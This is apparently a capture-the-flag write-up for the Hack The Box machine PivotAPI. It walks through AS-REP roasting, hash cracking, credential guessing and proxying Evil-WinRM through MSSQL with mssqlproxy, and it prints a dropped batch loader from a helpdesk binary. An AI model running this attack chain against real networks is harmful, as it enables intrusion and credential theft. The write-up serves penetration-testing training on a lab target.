Enumeration
Nmap
PORT STATE SERVICE REASON VERSION
21/tcp open ftp syn-ack Microsoft ftpd
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| 02-19-21 03:06PM 103106 10.1.1.414.6453.pdf
| 02-19-21 03:06PM 656029 28475-linux-stack-based-buffer-overflows.pdf
| 02-19-21 12:55PM 1802642 BHUSA09-McDonald-WindowsHeap-PAPER.pdf
| 02-19-21 03:06PM 1018160 ExploitingSoftware-Ch07.pdf
| 08-08-20 01:18PM 219091 notes1.pdf
| 08-08-20 01:34PM 279445 notes2.pdf
| 08-08-20 01:41PM 105 README.txt
|_02-19-21 03:06PM 1301120 RHUL-MA-2009-06.pdf
| ftp-syst:
|_ SYST: Windows_NT
22/tcp open ssh syn-ack OpenSSH for_Windows_7.7 (protocol 2.0)
| ssh-hostkey:
| 3072 fa:19:bb:8d:b6:b6:fb:97:7e:17:80:f5:df:fd:7f:d2 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC8JBaZj1WpRiiGaode9OB+FM92SWwpleMC2t1USTLMdMrAuQFFtASp25ihsCgjiGcn/aLJ/+zTFHSM5KkbRB78bfLI/t2wX1uw+ILCD4wMr+7QYIhE9vAGz99autCh76rrivSxr7cznPFePdr8BE9813K1urIIoAAx0d/r2THGm
afGdBoMGsA3iKOzheT5kXX1KR+QNSu5GCFvMaifP6VFZhSUN2NNtgda3+1HAVrnFfgdXygB1iQ6MhHnQde8Hb5sDPCMvIU+MXV1ZQjr5Fy+7Xq/lc67iMyYaKS48NHuz6RYrHi+74oLB5FVBA0ISwBxHvVlHm54nQdQkV3aOhUV/jaJgYEdTGInkoMuTg9mHAAC266U8rbmDw1N95ne
5ZiFah+/ipUgdpHfy/4O3cTcYAxQvgGPWCOIwwK63fwzU9Kl0ReYjtKyDjtefnDDjVWcDhg4REKNOqK55h3w8ws0GF62nN/eDwlcE2jTS3OQmKRjO51rzPGbfvo8Ppig/GM=
| 256 44:d0:8b:cc:0a:4e:cd:2b:de:e8:3a:6e:ae:65:dc:10 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBD4F6DLOiBTnIULkFMujnLLgyy7V1c9undOjGjtTmucDmstWPwISjhq6wzESDQqdVvMAtg7SNfilDaB/j1mJ9Ws=
| 256 93:bd:b6:e2:36:ce:72:45:6c:1d:46:60:dd:08:6a:44 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIO7W84ekIemSrnyM/RypW5tBRH6fVBfzcGUOxXOXpEUa
53/tcp open domain syn-ack Simple DNS Plus
88/tcp open kerberos-sec syn-ack Microsoft Windows Kerberos (server time: 2021-07-13 14:36:08Z)
135/tcp open msrpc syn-ack Microsoft Windows RPC
139/tcp open netbios-ssn syn-ack Microsoft Windows netbios-ssn
389/tcp open ldap syn-ack Microsoft Windows Active Directory LDAP (Domain: LicorDeBellota.htb0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds? syn-ack
464/tcp open kpasswd5? syn-ack
593/tcp open ncacn_http syn-ack Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped syn-ack
1433/tcp open ms-sql-s syn-ack Microsoft SQL Server 2019 15.00.2000.00; RTM
| ms-sql-ntlm-info:
| Target_Name: LICORDEBELLOTA
| NetBIOS_Domain_Name: LICORDEBELLOTA
| NetBIOS_Computer_Name: PIVOTAPI
| DNS_Domain_Name: LicorDeBellota.htb
| DNS_Computer_Name: PivotAPI.LicorDeBellota.htb
| DNS_Tree_Name: LicorDeBellota.htb
|_ Product_Version: 10.0.17763
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Issuer: commonName=SSL_Self_Signed_Fallback
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2021-07-13T14:26:56
| Not valid after: 2051-07-13T14:26:56
| MD5: c441 eaa7 fa5c 29cd b290 c72f 2310 2c2d
| SHA-1: df79 fdaa e27c 55e7 a11a 6896 6d36 f780 89c9 9160
| -----BEGIN CERTIFICATE-----
| MIIDADCCAeigAwIBAgIQety7ytThGJhADyJyv5pmGjANBgkqhkiG9w0BAQsFADA7
| MTkwNwYDVQQDHjAAUwBTAEwAXwBTAGUAbABmAF8AUwBpAGcAbgBlAGQAXwBGAGEA
| bABsAGIAYQBjAGswIBcNMjEwNzEzMTQyNjU2WhgPMjA1MTA3MTMxNDI2NTZaMDsx
| OTA3BgNVBAMeMABTAFMATABfAFMAZQBsAGYAXwBTAGkAZwBuAGUAZABfAEYAYQBs
| AGwAYgBhAGMAazCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBALbBEjLK
| VtJTR8xhTOYrt85OfLhY8QaONQ7HlePdm3HIhZco1C8HXpcFZ0FaSrCgqFMM0MAs
| iUp8dxrSzeLM4NCRxVYsmFBhuoxENtarUD7pCTB3NBGl8u4fuPPF82VoshPJo/qZ
| YvX3mD7KsaLxxGWWeX27sNKaBtkRQ1EQ2hzVSC+kMwRWsKyAiDW5qjJcCNJqgtZP
| CysItAAillfBwMOEkUHmHSKJNm8iYzUUAC3yOLXgikYelGbxedDNNEezISuEvdPm
| QvNw3cJeqSqiHcqQEbo4jE5izxrfqekT0S7Dh+lX6nggmFznk2vETIv9y1bcinFz
| g/O0w8QCJCcUgekCAwEAATANBgkqhkiG9w0BAQsFAAOCAQEAQ2IVHunW9Qr5pYaH
| FwrIpvz5yGytGC0hyzk+ZpIYvMdShCrCJWUpA76NPSzFzF8vpyL03Ahg9bkb/MV3
| E4iDWLAkJWWoP0k8JWz5bM+4LNkZRNNu67YMD0ApRi8jwB+WpMy2ir+skInQd68x
| eZS3b0O9caQcsdtzvJA42/ZSu0vi9qFUIicL6vFGJY/R66j3cLHRXwvyO9WMm/AA
| X5+OkP+UabAxRmJSRTqpT+RfpEPLKk5V2roFzfwxp5fzVoVYngoOcuRoa405XPYx
| hmcdMxmmuH3cHg7ENEdp4WK8hqdH9Aj40wNxINdq8slTPvadhTao/LOlhGzAIMtE
| ZRD95Q==
|_-----END CERTIFICATE-----
|_ssl-date: 2021-07-13T14:37:36+00:00; -1s from scanner time.
3268/tcp open ldap syn-ack Microsoft Windows Active Directory LDAP (Domain: LicorDeBellota.htb0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped syn-ack
9389/tcp open mc-nmf syn-ack .NET Message Framing
49668/tcp open msrpc syn-ack Microsoft Windows RPC
49673/tcp open msrpc syn-ack Microsoft Windows RPC
49674/tcp open ncacn_http syn-ack Microsoft Windows RPC over HTTP 1.0
49706/tcp open msrpc syn-ack Microsoft Windows RPC
Service Info: Host: PIVOTAPI; OS: Windows; CPE: cpe:/o:microsoft:windows
We see that the FTP server allows anonymous access, so we should obviously connect to this port first, and download all files.
┌─[s1gh@fsociety]─[~/pivotapi]
└──╼ $ ftp -p 10.10.10.240
Connected to 10.10.10.240.
220 Microsoft FTP Service
Name (10.10.10.240:s1gh): anonymous
331 Anonymous access allowed, send identity (e-mail name) as password.
Password:
230 User logged in.
Remote system type is Windows_NT.
ftp> ls -la
227 Entering Passive Mode (10,10,10,240,200,251).
125 Data connection already open; Transfer starting.
02-19-21 03:06PM 103106 10.1.1.414.6453.pdf
02-19-21 03:06PM 656029 28475-linux-stack-based-buffer-overflows.pdf
02-19-21 12:55PM 1802642 BHUSA09-McDonald-WindowsHeap-PAPER.pdf
02-19-21 03:06PM 1018160 ExploitingSoftware-Ch07.pdf
08-08-20 01:18PM 219091 notes1.pdf
08-08-20 01:34PM 279445 notes2.pdf
08-08-20 01:41PM 105 README.txt
02-19-21 03:06PM 1301120 RHUL-MA-2009-06.pdf
226 Transfer complete.
``
After downloading all files and briefly reading through them, I couldn't find anything interesting.
So I decided to take a look at the metadata for all the files, in case a username or two was hiding there.
─[s1gh@fsociety]─[~/pivotapi/ftp]
└──╼ $ exiftool * | grep 'Creator\|Author'
Creator : Microsoft Word
Author : Unknown
Author : saif
Creator : Microsoft® Word 2013
Creator : byron gronseth
Creator Tool : Microsoft Word: cgpdftops CUPS filter
Author : byron gronseth
Creator : cairo 1.10.2 (http://cairographics.org)
Creator : Kaorz
Creator Tool : PScript5.dll Version 5.2.2
Creator : alex
Author : alex
Looks like we have a few possible usernames!
I extracted the following names and saved them to possible_users.txt
:
- saif
- byron
- byron.gronset
- Kaorz
- alex
Since we now have a possible user list, I decided to check if some of the users have Do not require Kerberos preauthentication
enabled in Active Directory.
This is also known as AS-REP Roasting.
AS-REP Roasting
┌─[s1gh@fsociety]─[~/pivotapi]
└──╼ $ impacket-GetNPUsers LICORDEBELLOTA.htb/ -no-pass -usersfile possible_users.txt
Impacket v0.9.24.dev1+20210630.100536.73b9466c - Copyright 2021 SecureAuth Corporation
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
$krb5asrep$23$Kaorz@LICORDEBELLOTA.HTB:4d9a50cff0d3dd3030f9cad4efe7746d$65ad0f2b90fe28ed9302dfeb6fff32e9c985c154369a2c20d3d74840641ca0c11e4ee6a1c089a97be0e0bd748906518438eb0e927c991ac0f74b05615362cf2131c5f85975e4037495e8aaa6d8d1c3ad3ed3b0df01b3812cee0225697ce1afb0d94488f93d03ceccfc98c850519958f91498b20e4befaae27a7c129671c749848e3f6e1a30d8ae7fdb9f0ef4cd6221b61e8bbcf0252a3fd2db870ae21de28879111e016765429628b4ccd1b455ad43dd3c07ba9de9f65d7c0b8db02d4e11b49a7da7589f38bf0ee6f2976459e119205432be9ee8abbddf38aeacca2533b5103a30a19e35b96381310c8c260296514416efd8aef0cec591b0
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
We got a hash from the user Kaorz
!
Now that we have the hash, we can try and crack it using Hashcat.
C:\Users\s1gh\Documents\hashcat-6.2.0> .\hashcat.exe -m 18200 .\hashes.txt .\rockyou.txt
hashcat (v6.2.0) starting...
Successfully initialized NVIDIA CUDA library.
Failed to initialize NVIDIA RTC library.
* Device #1: CUDA SDK Toolkit installation NOT detected or incorrectly installed.
CUDA SDK Toolkit installation required for proper device support and utilization
Falling back to OpenCL Runtime
* Device #1: WARNING! Kernel exec timeout is not disabled.
This may cause "CL_OUT_OF_RESOURCES" or related errors.
To disable the timeout, see: https://hashcat.net/q/timeoutpatch
OpenCL API (OpenCL 3.0 CUDA 11.3.55) - Platform #1 [NVIDIA Corporation]
=======================================================================
* Device #1: NVIDIA GeForce GTX 1080 Ti, 10432/11264 MB (2816 MB allocatable), 28MCU
Optimizers applied:
* Zero-Byte
* Not-Iterated
* Single-Hash
* Single-Salt
Using pure kernels enables cracking longer passwords but for the price of drastically reduced performance.
See the above message to find out about the exact limits.
Watchdog: Temperature abort trigger set to 90c
Host memory required for this attack: 491 MB
Dictionary cache hit:
* Filename..: .\rockyou.txt
* Passwords.: 14344384
* Bytes.....: 139921497
* Keyspace..: 14344384
$krb5asrep$23$Kaorz@LICORDEBELLOTA.HTB:4d9a50cff0d3dd3030f9cad4efe7746d$65ad0f2b90fe28ed9302dfeb6fff32e9c985c154369a2c20d3d74840641ca0c11e4ee6a1c089a97be0e0bd748906518438eb0e927c991ac0f74b05615362cf2131c5f85975e
4037495e8aaa6d8d1c3ad3ed3b0df01b3812cee0225697ce1afb0d94488f93d03ceccfc98c850519958f91498b20e4befaae27a7c129671c749848e3f6e1a30d8ae7fdb9f0ef4cd6221b61e8bbcf0252a3fd2db870ae21de28879111e016765429628b4ccd1b455ad43
dd3c07ba9de9f65d7c0b8db02d4e11b49a7da7589f38bf0ee6f2976459e119205432be9ee8abbddf38aeacca2533b5103a30a19e35b96381310c8c260296514416efd8aef0cec591b0:Roper4155
Session..........: hashcat
Status...........: Cracked
Hash.Name........: Kerberos 5, etype 23, AS-REP
Hash.Target......: $krb5asrep$23$Kaorz@LICORDEBELLOTA.HTB:4d9a50cff0d3...c591b0
Time.Started.....: Wed Jul 14 23:10:42 2021 (1 sec)
Time.Estimated...: Wed Jul 14 23:10:43 2021 (0 secs)
Guess.Base.......: File (.\rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........: 7242.8 kH/s (6.16ms) @ Accel:256 Loops:1 Thr:64 Vec:1
Recovered........: 1/1 (100.00%) Digests
Progress.........: 11010048/14344384 (76.76%)
Restore.Point....: 10551296/14344384 (73.56%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidates.#1....: TUGGA00 -> Joythedog
Hardware.Mon.#1..: Temp: 66c Fan: 31% Util: 21% Core:1822MHz Mem:5508MHz Bus:8
We cracked the password and now have valid credentials!
Kaorz:Roper4155
We can also verify that the we have valid credentials with CrackMapExec.
┌─[s1gh@fsociety]─[~/pivotapi]
└──╼ $ cme smb 10.10.10.240 -u kaorz -p 'Roper4155'
SMB 10.10.10.240 445 PIVOTAPI [*] Windows 10.0 Build 17763 x64 (name:PIVOTAPI) (domain:LicorDeBellota.htb) (signing:True) (SMBv1:False)
SMB 10.10.10.240 445 PIVOTAPI [+] LicorDeBellota.htb\kaorz:Roper4155
SMB Enumeration
At this point I figured I should do a recursive search of the file share and see if we find anything interesting.
For this I decided to use SMBMap.
The output is truncated and only the important bits are included.
┌─[s1gh@fsociety]─[~/pivotapi]
└──╼ $ smbmap -u kaorz -p 'Roper4155' -H 10.10.10.240 -R
[+] IP: 10.10.10.240:445 Name: licordebellota.htb
Disk Permissions Comment
---- ----------- -------
SYSVOL READ ONLY Recurso compartido del servidor de inicio de sesión
.\SYSVOL\*
dr--r--r-- 0 Sat Aug 8 02:59:16 2020 .
dr--r--r-- 0 Sat Aug 8 02:59:16 2020 ..
dr--r--r-- 0 Sat Aug 8 02:59:16 2020 LicorDeBellota.htb
.\SYSVOL\LicorDeBellota.htb\scripts\HelpDesk\*
dr--r--r-- 0 Sun Aug 9 17:40:36 2020 .
dr--r--r-- 0 Sun Aug 9 17:40:36 2020 ..
fr--r--r-- 1854976 Fri Feb 19 12:33:15 2021 Restart-OracleService.exe
fr--r--r-- 24576 Sun Aug 9 17:40:36 2020 Server MSSQL.msg
fr--r--r-- 26112 Sun Aug 9 13:45:39 2020 WinRM Service.msg
Three files stand out:
- Restart-OracleService.exe
- Server MSSQL.msg
- WinRM Service.msg
We download these three files so we can analyze them.
┌─[s1gh@fsociety]─[~/pivotapi/smb]
└──╼ $ smbmap -u kaorz -p 'Roper4155' -H 10.10.10.240 -R SYSVOL -A '(msg|exe)'
[+] IP: 10.10.10.240:445 Name: licordebellota.htb
[+] Starting search for files matching '(msg|exe)' on share SYSVOL.
[+] Match found! Downloading: SYSVOL\LicorDeBellota.htb\scripts\HelpDesk\Restart-OracleService.exe
[+] Match found! Downloading: SYSVOL\LicorDeBellota.htb\scripts\HelpDesk\Server MSSQL.msg
[+] Match found! Downloading: SYSVOL\LicorDeBellota.htb\scripts\HelpDesk\WinRM Service.msg
File extension .msg is usually a file used by Microsoft Outlook. We can easily convert the two files to a more readable format using the tool extract_msg
.
┌─[s1gh@fsociety]─[~/pivotapi/smb]
└──╼ $ extract_msg *.msg
We end up with the following two notes:
From:
To: cybervaca@licordebellota.htb <cybervaca@licordebellota.htb>
CC:
Subject: Server MSSQL
Date: Sun, 09 Aug 2020 13:04:14 +0200
-----------------
Good afternoon,
Due to the problems caused by the Oracle database installed in 2010 in Windows, it has been decided to migrate to MSSQL at the beginning of 2020.
Remember that there were problems at the time of restarting the Oracle service and for this reason a program called "Reset-Service.exe" was created to log in to Oracle and restart the service.
Any doubt do not hesitate to contact us.
Greetings,
The HelpDesk Team
From:
To: helpdesk@licordebellota.htb <helpdesk@licordebellota.htb>
CC:
Subject: WinRM Service
Date: Sun, 09 Aug 2020 13:42:20 +0200
-----------------
Good afternoon.
After the last pentest, we have decided to stop externally displaying WinRM's service. Several of our employees are the creators of Evil-WinRM so we do not want to expose this service... We have created a rule to block the exposure of the service and we have also blocked the TCP, UDP and even ICMP output (So that no shells of the type icmp are used.)
Greetings,
The HelpDesk Team
- So, the .exe file we found looks to be a utility program for the helpdesk to restart the database service.
- WinRM is blocked by the firewall, so even if we find a user that can PS Remote, it wont be possible from outside the organization.
Initial Foothold
For the .exe file we found, when doing the SMB enumeration, I decided to try dynamic analysis and dropped the file on my CommandoVM and used a couple of different programs to analyze what the program is actually doing when executed.
Reverse Engineering/Forensics
Restart-OracleService.exe
I first used ProcMon to monitor the system when executing the file.
Doing this will give me a rough idea about what the file is doing and where.
We can see the the Restart-Oracle.exe is actually dropping a .bat file in C:\Users\<user>\AppData\Local\Temp\<random-name>.tmp\
After being executed the .bat file is deleted. So we now need to figure out a way to extract this file before it's deleted, so we can analyze it further.
For this we can use a program called CMD Watcher
. We can start the program in Interactive Mode
. It will stop the execution of Restart-OracleService.exe
and we can extract the dropped .bat file.
Opening the .bat file reveals the following (some parts are removed since the file was way to huge to display here):
@shift /0
@echo off
if %username% == cybervaca goto correcto
if %username% == frankytech goto correcto
if %username% == ev4si0n goto correcto
goto error
:correcto
echo TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA > c:\programdata\oracle.txt
echo AAAAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4g >> c:\programdata\oracle.txt
echo aW4gRE9TIG1vZGUuDQ0KJAAAAAAAAABQRQAAZIYKAAAAAAAAAAAAAAAAAPAALwILAgIfAG >> c:\programdata\oracle.txt
echo QKAAAuDQAAFgAA4BQAAAAQAAAAAEAAAAAAAAAQAAAAAgAABAAAAAAAAAAFAAIAAAAAAACw >> c:\programdata\oracle.txt
echo DQAABAAAMTUNAAMAYAEAACAAAAAAAAAQAAAAAAAAAAAQAAAAAAAAEAAAAAAAAAAAAAAQAA >> c:\programdata\oracle.txt
echo AAAAAAAAAAAAAAgA0AlA8AAAAAAAAAAAAAAMALAOCpAAAAAAAAAAAAAAAAAAAAAAAAAAAA >> c:\programdata\oracle.txt
echo AAAAAAAAAAAAAAAAAAAAAAAAAAAAwPoKACgAAAAAAAAAAAAAAAAAAAAAAAAA3IMNAKADAA >> c:\programdata\oracle.txt
echo AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAudGV4dAAAANBiCgAAEAAAAGQKAAAEAAAAAAAA >> c:\programdata\oracle.txt
echo AAAAAAAAAABgAFBgLmRhdGEAAABALwAAAIAKAAAwAAAAaAoAAAAAAAAAAAAAAAAAQABgwF >> c:\programdata\oracle.txt
echo 9zeXNjAAAAGAAAAACwCgAAAgAAAJgKAAAAAAAAAAAAAAAAAEAAMMAucmRhdGEAAODzAAAA >> c:\programdata\oracle.txt
echo wAoAAPQAAACaCgAAAAAAAAAAAAAAAABAAGBALnBkYXRhAADgqQAAAMALAACqAAAAjgsAAA >> c:\programdata\oracle.txt
echo AAAAAAAAAAAAAAQAAwQC54ZGF0YQAAZOUAAABwDAAA5gAAADgMAAAAAAAAAAAAAAAAAEAA >> c:\programdata\oracle.txt
echo MEAuYnNzAAAAAKAUAAAAYA0AAAAAAAAAAAAAAAAAAAAAAAAAAACAAGDALmlkYXRhAACUDw >> c:\programdata\oracle.txt
echo AAAIANAAAQAAAAHg0AAAAAAAAAAAAAAAAAQAAwwC5DUlQAAAAAaAAAAACQDQAAAgAAAC4N >> c:\programdata\oracle.txt
[...]
echo $salida = $null; $fichero = (Get-Content C:\ProgramData\oracle.txt) ; foreach ($linea in $fichero) {$salida += $linea }; $salida = $salida.Replace(" ",""); [System.IO.File]::WriteAllBytes("c:\programdata\restart-service.exe", [System.Convert]::FromBase64String($salida)) > c:\programdata\monta.ps1
powershell.exe -exec bypass -file c:\programdata\monta.ps1
del c:\programdata\monta.ps1
del c:\programdata\oracle.txt
c:\programdata\restart-service.exe
del c:\programdata\restart-service.exe
:error
So, in order for the .bat file to run successfully and create the next file we either need to change our %username% variable to one of the three username at the top of the file, or edit the file and remove that check.
I decided to just change the %username% variable in my CMD session and run the file.
I also made a few other modifications so that monta.ps1, oracle.txt and restart-service.exe aren't deleted after execution.
COMMANDO Thu 07/15/2021 0:20:15.56
C:\Users\s1gh\Documents\NO AV SCAN HERE\pivotapi>set username=cybervaca
COMMANDO Thu 07/15/2021 0:20:17.28
C:\Users\s1gh\Documents\NO AV SCAN HERE\pivotapi>5A74.bat
____ __ __ ____ __
/ __ \___ _____/ /_____ ______/ /_ / __ \_________ ______/ /__
/ /_/ / _ \/ ___/ __/ __ `/ ___/ __/ / / / / ___/ __ `/ ___/ / _ \
/ _, _/ __(__ ) /_/ /_/ / / / /_ / /_/ / / / /_/ / /__/ / __/
/_/ |_|\___/____/\__/\__,_/_/ \__/ \____/_/ \__,_/\___/_/\___/
by @HelpDesk 2010
COMMANDO Thu 07/15/2021 0:20:47.84
C:\Users\s1gh\Documents\NO AV SCAN HERE\pivotapi>
When the .bat file is finished running, we have three new files in C:\programdata\
.
- monta.ps1
- oracle.txt
- restart-service.exe
The new interesting file is obviously restart-service.exe
.
Restart-Service.exe
We now need to figure out what this file is doing. For this I'm using API Monitor.
After the file has executed successfully, I do a simple string search for "password". This search reveals the following:
We now have a new set of credentials!
svc_oracle:#oracle_s3rV1c3!2010
MSSQL Login
The credentials however looks to be from 2010 and the username is svc_oracle
but they are currently using MSSQL?
We can check if the svc_oracle
user exist with Kerbbrute.
┌─[s1gh@fsociety]─[~/pivotapi]
└──╼ $ echo 'svc_oracle' | kerbbrute userenum --dc 10.10.10.240 --domain LICORDEBELLOTA - -v
__ __ __
/ /_____ _____/ /_ _______ __/ /____
/ //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
/ ,< / __/ / / /_/ / / / /_/ / /_/ __/
/_/|_|\___/_/ /_.___/_/ \__,_/\__/\___/
Version: v1.0.3 (9dad6e1) - 07/15/21 - Ronnie Flathers @ropnop
2021/07/15 10:22:12 > Using KDC(s):
2021/07/15 10:22:12 > 10.10.10.240:88
2021/07/15 10:22:12 > [!] svc_oracle@LICORDEBELLOTA - User does not exist
2021/07/15 10:22:12 > Done! Tested 1 usernames (0 valid) in 0.032 seconds
So, we have recovered old credentials from the program we analyzed earlier...
It seems like they are using a really "bad" or weak passwords pattern though, so we can probably guess what their password is now.
Also, remember the note we found earlier? It mentioned Oracle.
"Due to the problems caused by the Oracle database installed in 2010 in Windows, it has been decided to migrate to MSSQL at the beginning of 2020."
What if try svc_mssql:#mssql_s3rV1c3!2020
Let's first check if the user actually exist.
┌─[✗]─[s1gh@fsociety]─[~/pivotapi]
└──╼ $ echo 'svc_mssql' | kerbbrute userenum --dc 10.10.10.240 --domain LICORDEBELLOTA - -v
__ __ __
/ /_____ _____/ /_ _______ __/ /____
/ //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
/ ,< / __/ / / /_/ / / / /_/ / /_/ __/
/_/|_|\___/_/ /_.___/_/ \__,_/\__/\___/
Version: v1.0.3 (9dad6e1) - 07/15/21 - Ronnie Flathers @ropnop
2021/07/15 10:31:36 > Using KDC(s):
2021/07/15 10:31:36 > 10.10.10.240:88
2021/07/15 10:31:36 > [+] VALID USERNAME: svc_mssql@LICORDEBELLOTA
2021/07/15 10:31:36 > Done! Tested 1 usernames (1 valid) in 0.032 seconds
Let's use CrackMapExec to see if we have valid credentials.
┌─[s1gh@fsociety]─[~/pivotapi]
└──╼ $ cme smb 10.10.10.240 -u svc_mssql -p '#mssql_s3rV1c3!2020'
SMB 10.10.10.240 445 PIVOTAPI [*] Windows 10.0 Build 17763 x64 (name:PIVOTAPI) (domain:LicorDeBellota.htb) (signing:True) (SMBv1:False)
SMB 10.10.10.240 445 PIVOTAPI [+] LicorDeBellota.htb\svc_mssql:#mssql_s3rV1c3!2020
We have just found another set of credentials!
Trying to login to MSSQL with those credentials doesn't work.
But what if we try to login as the sa user with the password we just found?
┌─[s1gh@fsociety]─[~/pivotapi]
└──╼ $ mssqlclient.py sa:'#mssql_s3rV1c3!2020'@10.10.10.240
/home/s1gh/.local/lib/python2.7/site-packages/OpenSSL/crypto.py:14: CryptographyDeprecationWarning: Python 2 is no longer supported by the Python core team. Support for it is now deprecated in cryptography, and will be removed in the next release.
from cryptography import utils, x509
Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation
[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: None, New Value: Español
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(PIVOTAPI\SQLEXPRESS): Line 1: Se cambió el contexto de la base de datos a 'master'.
[*] INFO(PIVOTAPI\SQLEXPRESS): Line 1: Se cambió la configuración de idioma a Español.
[*] ACK: Result: 1 - Microsoft SQL Server (150 7208)
[!] Press help for extra shell commands
SQL>
We successfully logged in as the sa user (system administrator).
After messing around with the MSSQL server for a while without getting anywhere, I decided to run BloodHound to get a better overview of the environment we're in.
Bloodhound
┌─[✗]─[s1gh@fsociety]─[~/pivotapi/bloodhound]
└──╼ $ bloodhound.py -c all -u kaorz -p Roper4155 -d LICORDEBELLOTA.htb -dc LICORDEBELLOTA.htb -ns 10.10.10.240
INFO: Found AD domain: licordebellota.htb
INFO: Connecting to LDAP server: LICORDEBELLOTA.htb
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 1 computers
INFO: Connecting to LDAP server: LICORDEBELLOTA.htb
INFO: Found 27 users
INFO: Connecting to GC LDAP server: pivotapi.licordebellota.htb
INFO: Found 57 groups
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: PivotAPI.LicorDeBellota.htb
INFO: Done in 00M 05S
svc_mssql
Looking at this user in Bloodhound, we see that we in fact have permissions to PS Remote into the server.
But how can we achieve this, when WinRM is blocked by the firewall?
Well, we have admin access on the MSSQL server, so what if we proxy our WinRM connection through MSSQL?
MSSQL As A Proxy
There's a pretty good blog post about this technique by BlackArrow. You can read more here.
┌─[s1gh@fsociety]─[/opt/mssqlproxy]
└──╼ $ python2 mssqlclient.py sa:'#mssql_s3rV1c3!2020'@10.10.10.240 2>/dev/null
Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation
mssqlproxy - Copyright 2020 BlackArrow
[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: None, New Value: Español
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(PIVOTAPI\SQLEXPRESS): Line 1: Se cambió el contexto de la base de datos a 'master'.
[*] INFO(PIVOTAPI\SQLEXPRESS): Line 1: Se cambió la configuración de idioma a Español.
[*] ACK: Result: 1 - Microsoft SQL Server (150 7208)
[!] Press help for extra shell commands
SQL> enable_ole
SQL> upload reciclador.dll C:\Windows\temp\reciclador.dll
[+] Uploading 'reciclador.dll' to 'C:\Windows\temp\reciclador.dll'...
[+] Size is 111616 bytes
[+] Upload completed
SQL>
┌─[s1gh@fsociety]─[/opt/mssqlproxy]
└──╼ $ python2 mssqlclient.py sa:'#mssql_s3rV1c3!2020'@10.10.10.240 -install -clr assembly.dll 2>/dev/null
Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation
mssqlproxy - Copyright 2020 BlackArrow
[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: None, New Value: Español
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(PIVOTAPI\SQLEXPRESS): Line 1: Se cambió el contexto de la base de datos a 'master'.
[*] INFO(PIVOTAPI\SQLEXPRESS): Line 1: Se cambió la configuración de idioma a Español.
[*] ACK: Result: 1 - Microsoft SQL Server (150 7208)
[*] Proxy mode: install
[*] CLR enabled
[*] Assembly successfully installed
[*] Procedure successfully installed
┌─[s1gh@fsociety]─[/opt/mssqlproxy]
└──╼ $ python2 mssqlclient.py sa:'#mssql_s3rV1c3!2020'@10.10.10.240 -start -reciclador 'C:\Windows\Temp\reciclador.dll' 2>/dev/null
Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation
mssqlproxy - Copyright 2020 BlackArrow
[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: None, New Value: Español
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(PIVOTAPI\SQLEXPRESS): Line 1: Se cambió el contexto de la base de datos a 'master'.
[*] INFO(PIVOTAPI\SQLEXPRESS): Line 1: Se cambió la configuración de idioma a Español.
[*] ACK: Result: 1 - Microsoft SQL Server (150 7208)
[*] Proxy mode: check
[*] Assembly is installed
[*] Procedure is installed
[*] reciclador is installed
[*] clr enabled
[*] Proxy mode: start
[*] Listening on port 1337...
[*] ACK from server!
We can now use proxychains to proxy WinRM through the MSSQL server! :)
┌─[s1gh@fsociety]─[/opt/mssqlproxy]
└──╼ $ proxychains4 -f /etc/proxychains4.conf evil-winrm -i 10.10.10.240 -u svc_mssql -p '#mssql_s3rV1c3!2020'
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/local/lib/libproxychains4.so
[proxychains] DLL init: proxychains-ng 4.14
Evil-WinRM shell v2.4
Info: Establishing connection to remote endpoint
[proxychains] Strict chain ... 127.0.0.1:1337 ... 10.10.10.240:5985 ... OK
